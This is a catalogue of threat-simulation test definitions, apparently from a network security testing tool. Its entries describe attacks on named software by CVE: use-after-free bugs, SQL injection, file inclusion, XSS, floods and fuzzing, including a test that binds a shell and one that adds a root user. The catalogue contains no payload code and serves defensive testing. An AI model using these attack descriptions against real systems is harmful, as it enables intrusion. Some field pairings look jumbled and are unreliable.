Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-3834
Threat File Name:	formmail.xml
Executive Description:	Formmail Probe
Detailed Description:	This threat looks for the existence of the file formmail.pl. Spammers use this technique to probe for vulnerable webserver CGIs that can be used to email out advertisements.

Protocol Type:	HTTP
CVEID:	CVE-2001-0357
OSVDB:	652
Threat Package:	Standard
Threat File Name:	TSL20150210-30_Microsoft_Internet_Explorer_scrollIntoView_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer scrollIntoView Use After Free IPv6 version.
Detailed Description:	A use after free vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS. IPV6
CVEID:	CVE-2015-0017
OSVDB:	118141
Threat File Name:	FSC20091118-04_Apple_CUPS_cupsdDoSelect_Remote_Code_Execution.xml
Executive Description:	Apple CUPS cupsdDoSelect Remote Code Execution
Detailed Description:	A code execution vulnerability exists in Apple CUPS. The flaw is due to a use-after-free error within cupsdDoSelect function. Remote attackers could exploit this vulnerability by sending a malicious request to the target. Successful exploitation of this vulnerability would allow for arbitrary code execution with root privileges. In case if the attack is not successful, the vulnerable service may terminate abnormally due to memory corruption.
Protocol Type:	IPP
CVEID:	CVE-2009-3553
Threat Package:	Standard
Threat File Name:	FSC20060721-02_MySQL_Server_Date_Format_Function_Format_String_Vulnerability_IPv6.xml
Executive Description:	MySQL Server Date_Format Function Format String Vulnerability (IPv6 Version)
Detailed Description:	There exists a denial of service vulnerability in the MySQL database server. The problem is caused by an incorrect handling of the arguments passed to the built-in SQL function DATE_FORMAT, which causes the application to terminate. A remote authenticated attacker can exploit this vulnerability to cause a denial of service condition on the target server. (IPv6 Version)
Protocol Type:	Proprietary, SQL,IPv6
CVEID:	CVE-2006-3469
Threat Package:	Standard
Threat File Name:	FSC20060214-04_Microsoft_Windows_Media_Player_BMP_File_Handling_Buffer_Overflow_Vulnerability.xml
Executive Description:	Microsoft Windows Media Player BMP File Handling Buffer Overflow Vulnerability
Detailed Description:	There exists a vulnerability in the BMP image processing component of Microsoft Windows Media Player. The vulnerability exists due to the failure of the application to properly validate the value of a field in the BMP image, leading to a buffer overflow. An attacker can exploit this vulnerability by enticing a user to open a malicious BMP image with the affected application, causing the execution of arbitrary code in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2006-0006
Threat Package:	Standard
Threat File Name:	TSL20120217-03_Oracle_Java_zip_util_readCEN_Stack_Overflow_IPv6.xml
Executive Description:	Oracle Java zip_util readCEN Stack Overflow(IPV6 Version)
Detailed Description:	A denial-of-service vulnerability has been discovered in the JRE. The vulnerability is due to an off-by-one error when processing zip archives. This results in a series of recursive calls, terminated by a stack overflow / segmentation fault. An attacker can exploit this vulnerability by causing an application to process a crafted zip archive. The exact nature of an attack will depend on the application's context.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2012-0501
OSVDB:	79228
Threat File Name:	foing_cmi_c.xml
Executive Description:	Foing 0.7.0 (phpBB) Remote File Inclusion Vulnerability
Detailed Description:	This threat send a crafted HTTP query containing a path to an arbitrary file which is included by the server and executed via fag.php "phpbb_root_path" parameter. Foing is a web based application with typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20070612-12_Microsoft_Internet_Explorer_COM_Object_Instantiation_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer COM Object Instantiation Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in certain versions of Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer instantiates COM objects that are not intended to be instantiated in Internet Explorer. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation would corrupt memory and may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0218
Threat Package:	Standard
Threat File Name:	TSL20120323-03_Cisco_Linksys_PlayerPT_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	Cisco Linksys PlayerPT ActiveX Control Buffer Overflow(IPV6 Version)
Detailed Description:	A buffer overflow vulnerability has been reported in the Cisco Linksys PlayerPT ActiveX control. The vulnerability is due to insufficient boundary checks when handling parameters passed to the SetSource() function. A remote, unauthenticated attacker can exploit this vulnerability by enticing an unsuspecting user to access a malicious website. This can lead to code execution in the context of the target user. If code execution is unsuccessful, the application may terminate unexpectedly.

Protocol Type:	IPv6,HTTP,HTTPS
OSVDB:	80297
Threat File Name:	fuzz-HTTP-TRACE_PrepndHTTPWithformatn_IPv6.xml
Executive Description:	Fuzz HTTP TRACE with Request-URI prepended with %n (IPv6 Version)
Detailed Description:	Fuzzes the Request-URI field by prepending %n (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20170302-09_Trend_Micro_SafeSync_for_Enterprise_rollback_Command_Injection.xml
Executive Description:	Trend Micro SafeSync for Enterprise rollback Command Injection
Detailed Description:	A command injection vulnerability exists in Trend Micro's SafeSync for Enterprise. The vulnerability is due to insufficient validation of the user-supplied parameter sent to the rollback end point. A remote, authenticated attacker could exploit this vulnerability by sending a crafted input to the vulnerable system. Successful exploitation could lead to arbitrary command execution under the security context of root.
Protocol Type:	HTTPS
Threat File Name:	FSC20101203-04_Apple_Safari_WebKit_Menu_Onchange_Memory_Corruption.xml
Executive Description:	Apple Safari WebKit Menu Onchange Memory Corruption
Detailed Description:	A code execution vulnerability has been reported in Apple Safari. The vulnerability is due to memory corruption when processing thef onchange event when applied to Menus. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted web page. In attack scenarios where code execution is successful the behavior of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-1814
Threat File Name:	hsrpHelloFlood.xml
Executive Description:	HSRP Hello Flood
Detailed Description:	This threat attempts to confuse hot swap capable routers by flooding them with spoofed hello packets. HSRP typically listens on UDP port 1985.
Protocol Type:	HSRP
Threat Package:	Standard
Threat File Name:	cybuzu_dirtransversal.xml
Executive Description:	Cybozu Share 360 Arbitrary File Retrieval Vulnerability
Detailed Description:	This threat recreates a directory transversal attack against web servers running Cybuzu Software to return stored admin password information. Cybuzu Share is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20150414-05_Microsoft_Office_Word_CVE_2015_1641_Memory_Corruption.xml
Executive Description:	Microsoft Office Word CVE-2015-1641 Memory Corruption.
Detailed Description:	>A memory corruption vulnerability exists in Microsoft Office. The vulnerability is due to improper handling of embedded objects when parsing a specially crafted Office document. A remote attacker could exploit this vulnerability by enticing a user to open a crafted Office file. Successful exploitation could result in arbitrary code execution with the privileges of the currently logged on user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMTP/SMB/CIFS/NFS
CVEID:	CVE-2015-1641
Threat File Name:	virobot_IPv6.xml
Executive Description:	ViRobot Command Injection (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the ViRobot application. Traditional overflow techniques are not needed as the next element contained on the stack is a string which causes a command to be executed through cron with privileges of root. This leads to remote system compromise. This specific attack creates a user called r00t with the privileges of root. ViRobot uses the HTTP protocol and typically listens on port 8080. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2720
OSVDB:	17320
Threat Package:	Standard
Threat File Name:	sipesccontant_IPv6.xml
Executive Description:	SIPPING: Escaped Contact Header (IPv6 Version)
Detailed Description:	This threat sends out a SIP REGISTER message with an escaped Route: header in the Contact: header. This is valid but unexpected and may cause confusion or crashing in a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	sipinvitebadschemecontact_IPv6.xml
Executive Description:	SIP INVITE Bad Scheme Contact: Field (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with a Contact: field using FTP. This can confuse or crash a PBX that is not very robust. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	geeklog_rfi_IPv6.xml
Executive Description:	GeekLog Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. GeekLog is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20070911-10_Microsoft_Visual_Studio_Crystal_Reports_RPT_File_Handling_Code_Execution.xml
Executive Description:	Microsoft Visual Studio Crystal Reports RPT File Handling Code Execution

Detailed Description:	There exists a buffer overflow vulnerability in the way Business Objects Crystal Reports handles RPT files. The vulnerability is because the application fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer. An attacker may exploit this issue by enticing a victim user into opening a malicious RPT file, resulting in the execution of arbitrary code with privileges of the currently logged-in user. Failed exploit attempts will likely result in denial of service conditions.
Protocol Type:	HTTP
CVEID:	CVE-2006-6133
Threat Package:	Standard
Threat File Name:	sipciscoreboot.xml
Executive Description:	Cisco IP Phone Reboot
Detailed Description:	This threat sends a SIP NOTIFY message to a phone. This message will cause some Cisco phones to check for updated configuration files from the TFTP server, and upgrade/reboot if they are present. This can potentially cause unwanted upgrades or overwhelm a TFTP server.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20131212-09_EMC_CMCNE_inmservlets_war_SoftwareFileUploadMoreInfoServlet_Directory_Traversal_IPv6.xml
Executive Description:	EMC CMCNE inmservlets.war SoftwareFileUploadMoreInfoServlet Directory Traversal (IPv6 Version)
Detailed Description:	A directory traversal vulnerability exists in EMC Connectrix Manager Converged Network Edition. The vulnerability is due to lack of authentication and insufficient input validation in the SoftwareFileUploadMoreInfoServlet of inmservlets.war when processing HTTP requests. A remote unauthenticated attacker can move any files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2013-6810
OSVDB:	101211
Threat File Name:	TSL20160913-31_Microsoft_Internet_Explorer_and_Edge_CVE-2016-3297_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer and Edge CVE-2016-3297 Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer and Edge. This vulnerability is due to improper access of objects in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution under the security context of the target user.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-3297
Threat File Name:	fuzz-IP_Identification_IPv6.xml
Executive Description:	Fuzzer for Protocol:IP and Field:Identification (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	IP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20090113-10_Oracle_BEA_WebLogic_Server_Apache_Connector_Buffer_Overflow.xml
Executive Description:	Oracle BEA WebLogic Server Apache Connector Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in BEA WebLogic Server Apache Connector. The vulnerability is due to a boundary error in the Apache connector. A remote unauthenticated attacker can exploit this vulnerability by sending crafted requests to the target host. Successful exploitation would be a denial of service condition of Apache HTTP services on the target host. In an attack case, the affected server will terminate and all established connections will also be terminated.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-5457
Threat Package:	Standard
Threat File Name:	TSL20130529-01_Apache_HTTP_Server_mod_rewrite_RewriteLog_Command_Execution_IPv6.xml
Executive Description:	Apache HTTP Server mod_rewrite RewriteLog Command Execution [IPv6, Version]
Detailed Description:	A command execution vulnerability exists in Apache HTTP web server mod_rewrite. The vulnerability is due to a lack of input validation in handling certain escape sequences when writing to the log file. A remote attacker can exploit these vulnerabilities by sending a specially crafted HTTP request. Successful exploitation could result in attacker controlled script command executing.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-1862
OSVDB:	93366
Threat File Name:	TSL20150511-04_ManageEngine_Desktop_Central_MSP_FileUploadServlet_Arbitrary_File_Upload_IPv6.xml
Executive Description:	ManageEngine Desktop Central MSP FileUploadServlet Arbitrary File Upload IPv6 version
Detailed Description:	An arbitrary file upload vulnerability exists in ManageEngine Desktop Central and Desktop Central MSP. The vulnerability is due to a failure to sanitize HTTP parameter values within the FileUploadServlet servlet. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted request to the target server. Successful exploitation could lead to arbitrary code execution under the security context of the System user. Tester should set the variable \$destPort to 8020 or 8040 before test.
Protocol Type:	HTTP,IPv6
Threat File Name:	TSL20170411-12_Microsoft_Edge_repeat_Sign_Extension_Information_Disclosure.xml
Executive Description:	Microsoft Edge repeat Sign Extension Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Edge. This vulnerability is due to Chakra scripting engine not properly handling objects in memory. A remote attacker can exploit this vulnerability by enticing the victim to open a maliciously crafted web page. Successful exploitation would allow the attacker to gain sensitive information.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-0208

Threat File Name:	TSL20131024-04_Oracle_Outside_In_OS_2_Metafile_Parser_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Outside In OS 2 Metafile Parser Stack Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability is due to a boundary error while processing OS/2 Metafiles. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable libraries to handle a malformed files. Depending on the application, user interaction may be required. Successful exploitation can result in execution of arbitrary code or a denial of service condition in the context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPV6
CVEID:	CVE-2013-5763
OSVDB:	98894
Threat File Name:	phpb2_sqli_IPv6.xml
Executive Description:	PHPBB 3 Memberlist.PHP SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted http POST method that contains an SQL query which is executed by the server. PHPBB3 is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120320-01_Dell_Webcam_Software_ActiveX_Control_CrazyTalk4Native_dll_Stack_Buffer_Overflow.xml
Executive Description:	Dell Webcam Software ActiveX ControlrazyTalk4Native.dll Stack Buffer Overflow
Detailed Description:	A stack buffer overflow exists in the Dell Webcam Software ActiveX control. The vulnerability is due to insufficient validation of the BackImage, ScriptName, ModelName and SRC properties. Overly long values of these properties can result in a stack buffer overflow.A stack buffer overflow exists in the Dell Webcam Software ActiveX control. The vulnerability is due to insufficient validation of the BackImage, ScriptName, ModelName and SRC properties. Overly long values of these properties can result in a stack buffer overflow.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-N/A
OSVDB:	80205
Threat File Name:	TSL20120423-05_Adobe_Reader_and_Acrobat_TrueType_Font_MINDEX_Integer_Overflow.xml
Executive Description:	Adobe Reader and Acrobat TrueType Font MINDEX Integer Overflow
Detailed Description:	An integer overflow has been identified in Adobe's Reader and Acrobat products. The integer overflow occurs during the calculation of a byte-offset into the TTF interpreter stack during the processing of a MINDEX instruction. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open a crafted PDF document. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB,NFS
CVEID:	CVE-2012-0774
OSVDB:	81246
Threat File Name:	links_rexec_IPv6.xml
Executive Description:	Links ELinks SMBCClient Remote Command Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious http server reply to send arbitrary smb commands on a victim computer. Links/ELinks is a web browser that typically connect to the http port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5925
Threat Package:	Standard
Threat File Name:	FSC20081217-14_Adobe_Flash_Player_for_Linux_ActionScript_ASnative_Command_Execution_IPv6.xml
Executive Description:	Adobe Flash Player for Linux ActionScript ASnative Command Execution (IPv6 Version)
Detailed Description:	There exists a remote command execution vulnerability in Adobe Flash Player for Linux. The vulnerability is a result of failure to validate user input when parsing maliciously crafted SWF files. An attacker may exploit this vulnerability by enticing a target user to open a malicious SWF file. Successful exploitation can lead to execution of system commands in the security context of currently logged on user. An attack targeting this vulnerability can result in the injection and execution of command. If command execution is successful, the behaviour of the target will depend on the intention of the attacker. Any command will be executed within the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-5499
Threat Package:	Standard
Threat File Name:	3cdaemon_dos.xml
Executive Description:	3Com TFTP 3CDaemon Denial of Service
Detailed Description:	This threat sends a TFTP request of get prn known to cause a crash in 3CDaemon TFTP server. TFTP servers typically listen on port 69.
Protocol Type:	TFTP
CVEID:	CVE-2005-0275
OSVDB:	12808
Threat Package:	Standard
Threat File Name:	FSC20080725-21_RealNetworks_RealPlayer_ActiveX_Import_Method_Buffer_Overflow.xml
Executive Description:	RealNetworks RealPlayer ActiveX Import Method Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in RealNetworks RealPlayer application. The vulnerability is due to improper checks when handling deletion of media library files. A remote attacker can exploit this vulnerability by enticing the target user to visit a malicious web page that injects a media file through Active X control, and enticing the user to delete it. Successful exploitation would cause a stack buffer overflow that may lead to arbitrary code execution in the security context of the currently logged on user.
Protocol Type:	HTTP
CVEID:	CVE-2008-3066
Threat Package:	Standard
Threat File Name:	brightstor.xml

Executive Description:	Brighstor ARCserve SERVICEPC Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the Enterprise Discovery Service of Brightstor ARCserve. Brightstor ARCserve typically listens on port 41523.
Protocol Type:	Proprietary
CVEID:	CVE-2005-0260
OSVDB:	13814
Threat Package:	Standard
Threat File Name:	TSL20131210-30_Microsoft_Internet_Explorer_CVE-2013-5052_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2013-5052 Use After Free
Detailed Description:	A use after free vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to errors while handling certain objects when processing HTML and script code. A remote attacker can exploit this vulnerability by enticing an unsuspecting user to access a maliciously crafted website. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-5052
OSVDB:	100756
Threat File Name:	backupexec_IPv6.xml
Executive Description:	Veritas Backup Exec Agent Buffer Overflow (IPv6 Version)
Detailed Description:	This attack attempts to bind a listening shell on a vulnerable version of Backup Exec Agent. Backup Exec Agent typically listens on port 6101. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2004-1172
OSVDB:	12418
Threat Package:	Standard
Threat File Name:	FSC20040823-02_Netscape_NSS_Library_Record_Parsing_Buffer_Overflow.xml
Executive Description:	Netscape NSS Library SSLv2 Record Parsing Buffer Overflow
Detailed Description:	A vulnerability exists in Netscape Network Security Services (NSS) library's SSLv2 message parsing routines. A malformed Client Hello message with excessively large Challenge Data could overwrite a memory buffer allocated on the heap. It is possible to perform attacks, without valid credentials, on a vulnerable web server with SSLv2 support enabled that would result in a denial of service or remote code execution.
Protocol Type:	HTTPS
CVEID:	CVE-2004-0826
Threat Package:	Standard
Threat File Name:	FSC20101214-06_Microsoft_Internet_Explorer_Select_Element_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Select Element Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due an error when accessing incorrectly initialized memory. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2010-3345
Threat File Name:	FSC20071204-02_Squid_Proxy_Cache_Update_Denial_of_Service_IPv6.xml
Executive Description:	Squid Proxy Cache Update Denial of Service (IPv6 Version)
Detailed Description:	There exists a denial of service vulnerability in Squid web proxy application. The flaw is due to incorrect bounds checking when processing crafted cache update reply messages. A remote unauthenticated attacker may trigger this vulnerability to terminate the affected service. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-6239
Threat Package:	Standard
Threat File Name:	TSL20131210-03_Microsoft_Windows_WinVerifyTrust_PE_Validation_Security_Bypass_IPv6.xml
Executive Description:	Microsoft Windows WinVerifyTrust PE Validation Security Bypass (IPv6 Version)
Detailed Description:	A security bypass vulnerability exists in Microsoft Windows. The vulnerability is due to an error in the way WinVerifyTrust validates PE files signed with Windows Authenticode. The error allows signed PE files to be modified without impacting the signature's validation. A remote attacker can leverage this vulnerability by enticing a target user to open a crafted signed PE file. In successful attack scenarios, untrusted attacker-controlled code can be copied and executed on a target machine within the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,FTP,IPV6
CVEID:	CVE-2013-3900
OSVDB:	100765
Threat File Name:	tcpdump_bgp.xml
Executive Description:	tcpdump BGP DoS
Detailed Description:	This threat sends out a packet that appears to part of a transaction between a BGP server and client. However, it is a crafted DoS packet, designed to cause tcpdump to enter into an infinite loop. This can be used by an attacker to mask further attacks.
Protocol Type:	BGP
CVEID:	CVE-2005-1279
OSVDB:	15863
Threat Package:	Standard
Threat File Name:	TSL20170314-40_Microsoft_Windows_SMB_Server_SMBv1_CVE-2017-0144_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows SMB Server SMBv1 CVE-2017-0144 Memory Corruption (IPv6 Version)
Detailed Description:	A remote code execution vulnerability has been reported in the SMBv1 component of Microsoft Windows SMB server. The vulnerability is due to improper handling of SMBv1 requests. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted SMBv1 messages to a target server. Successful exploitation could result in remote code execution.
Protocol Type:	SMB/CIFS,IPV6
CVEID:	CVE-2017-0144

Threat File Name:	FSC20100820-07_SonicWALL_SSL_VPN_End_Point_Interrogator_Installer_ActiveX_Control_Code_Execution_IPv6.xml
Executive Description:	SonicWALL SSL VPN End Point Interrogator Installer ActiveX Control Code Execution
Detailed Description:	There exists a code execution vulnerability in SonicWALL SSL-VPN End-Point Interrogator/Installer ActiveX controls. Specifically, the vulnerability is due to a format string error in the "epi.dll" library when creating a log message. This can be exploited by assigning a specially crafted string value to affected properties of the ActiveX control. Remote attackers could exploit this vulnerability by enticing target users to visit a crafted web page. Successful exploitation would result in arbitrary code execution in the context of the logged on user.
Protocol Type:	IPv6,HTTP,HTTPS
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_AppendformatsToGET_IPv6.xml
Executive Description:	Fuzz HTTP with GET appended by %s (IPv6 Version)
Detailed Description:	Fuzzes the Method field appending by %s (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	rwauaction_xss_IPv6.xml
Executive Description:	RWAuction Pro Search.ASP Cross-Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript or HTML to be included in the returned page. RWAuction an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4060
OSVDB:	21475
Threat File Name:	TSL20160209-25_Microsoft_Word_CVE-2016-0022_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Word CVE-2016-0022 Memory Corruption(IPv6 version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Word. The application fails to properly handle certain objects in memory when parsing specially crafted files.A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted file. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTPS,HTTP,IMAP,SMB/CIFS,SMTP,IPv6
CVEID:	CVE-2016-0022
Threat File Name:	pagetool_sqli_IPv6.xml
Executive Description:	Pagetool 1.07 (news_id) Remote SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Pagetool is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3402
Threat Package:	Standard
Threat File Name:	ie6_mshtml_dos_IPv6.xml
Executive Description:	Internet Explorer 6 mshtml.dll DoS (IPv6 Version)
Detailed Description:	This server based threat sends a malicious html document causing a crash in mshtml.dll. Internet Explorer is a web browser that typically connects on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	TSL20141016-03_Drupal_Core_database_inc_expandArguments_SQL_Injection.xml
Executive Description:	Drupal Core database.inc expandArguments SQL Injection
Detailed Description:	A SQL injection vulnerability has been found in Drupal Core. The vulnerability is due to insufficient validation of user-supplied data when expanding argument values used in SQL queries. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted parameter to a Drupal Core server. Successful exploitation could lead to arbitrary code execution under the security context of the server.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-3704
OSVDB:	113371
Threat File Name:	BGPkeepAlive.xml
Executive Description:	BGP Keep Alive Flood
Detailed Description:	This is a flood of the Border Gateway Protocol's keep alive message. BGP typically uses port 179.
Protocol Type:	BGP
Threat Package:	Standard
Threat File Name:	floodICMPprotocolunreachable_IPv6.xml
Executive Description:	ICMP Protocol Unreachable Flood (IPv6 Version)
Detailed Description:	This threat sends out an ICMP Protocol Unreachable flood. This causes a "hard error" for a TCP connection, terminating it. TCP stacks should ignore this message if the connection is already established, but many do not. By continuously sending these packets, this can cause a denial of service on the target. (IPv6 Version)
Protocol Type:	ICMP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20150526-04_IBM_Tivoli_Storage_Manager_FastBack_Mount_vault_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Tivoli Storage Manager FastBack Mount vault Stack Buffer Overflow IPv6 version.
Detailed Description:	A stack-based buffer overflow vulnerability exists in IBM Tivoli Storage Manager FastBack Mount. The vulnerability is due to improper bounds checking by the FastBackMount process. A remote unauthenticated attacker could exploit this vulnerability by sending crafted requests. Successful exploitation can result in arbitrary code execution within the security context of the System user. Tester should set the variable \$destPort to 30051 before test.
Protocol Type:	IBM TSM FastBack Mount.IPV6
CVEID:	CVE-2015-1896
OSVDB:	120349

Threat File Name:	FSC20101214-40_Microsoft_Office_FlashPix_Image_Converter_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Office FlashPix Image Converter Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office. The vulnerability is due to the way Microsoft Office handles FlashPix image files. An attacker can exploit this vulnerability by enticing a target user to insert a malicious FlashPix image file into an Office document. Successful exploitation would allow an attacker to execute arbitrary code in the security context of the logged in user. An unsuccessful attack could cause an abnormal termination of the affected product. Note: The research team has found that this vulnerability is not properly mitigated with the MS10-105 patch. A previously released bulletin MS10-087 contains a workaround mitigation for this vulnerability. After this mitigation, the vulnerable code remains but is only reachable if certain registry entries are present on a system.
Protocol Type:	IPv6, HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS, NFS
CVEID:	CVE-2010-3951
Threat File Name:	limesurvey_rfi_IPv6.xml
Executive Description:	LimeSurvey (PHPSurveyor) 1.49RC2 Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. LimeSurvey is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3632
Threat Package:	Standard
Threat File Name:	nettools_cmi.xml
Executive Description:	PHP Net Tools 2.7.1 Remote Code Execution Exploit
Detailed Description:	This threat exploits the fact that arguments passed to the script are not filtered properly in order to prevent execution of arbitrary commands when calling system(). PHP Net Tools is a web application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2002-0471
Threat Package:	Standard
Threat File Name:	refererXSS.xml
Executive Description:	Generic Referer XSS Attempt
Detailed Description:	This attack represents a cross-site scripting attack through the referer field of HTTP. This field is used in logfile analysis and some server side scripting. By injecting javascript into this field, code can be executed through the webpage and be used to steal session and login information.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20130312-05_Microsoft_Internet_Explorer_saveHistory_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer saveHistory Use After Free
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is caused by a use-after-free error when processing Web pages using the saveHistory behaviour. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2013-0088
OSVDB:	91139
Threat File Name:	FSC20100901-08_OpenSSL_ssl3_get_key_exchange_Use-After-Free_Memory_Corruption.xml
Executive Description:	OpenSSL ssl3_get_key_exchange Use-After-Free Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in OpenSSL library. The vulnerability is due to an error in ssl3_get_key_exchange function while handling server key exchange message. If a certificate structure contains a crafted value, the vulnerable code could cause a double-free error. Remote attackers could exploit this vulnerability by enticing the target user to connect to a malicious server using a vulnerable version of the OpenSSL library. Successful exploitation may allow for arbitrary code execution with the privileges of the application using the OpenSSL library.
Protocol Type:	TLS
CVEID:	CVE-2010-2939
Threat Package:	Standard
Threat File Name:	opendock_egallery_rfi_IPv6.xml
Executive Description:	OpenDock Easy Gallery doc_directory Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. OpenDock Easy Gallery is a web application that typically listens on port 80. (IPv6 Version)
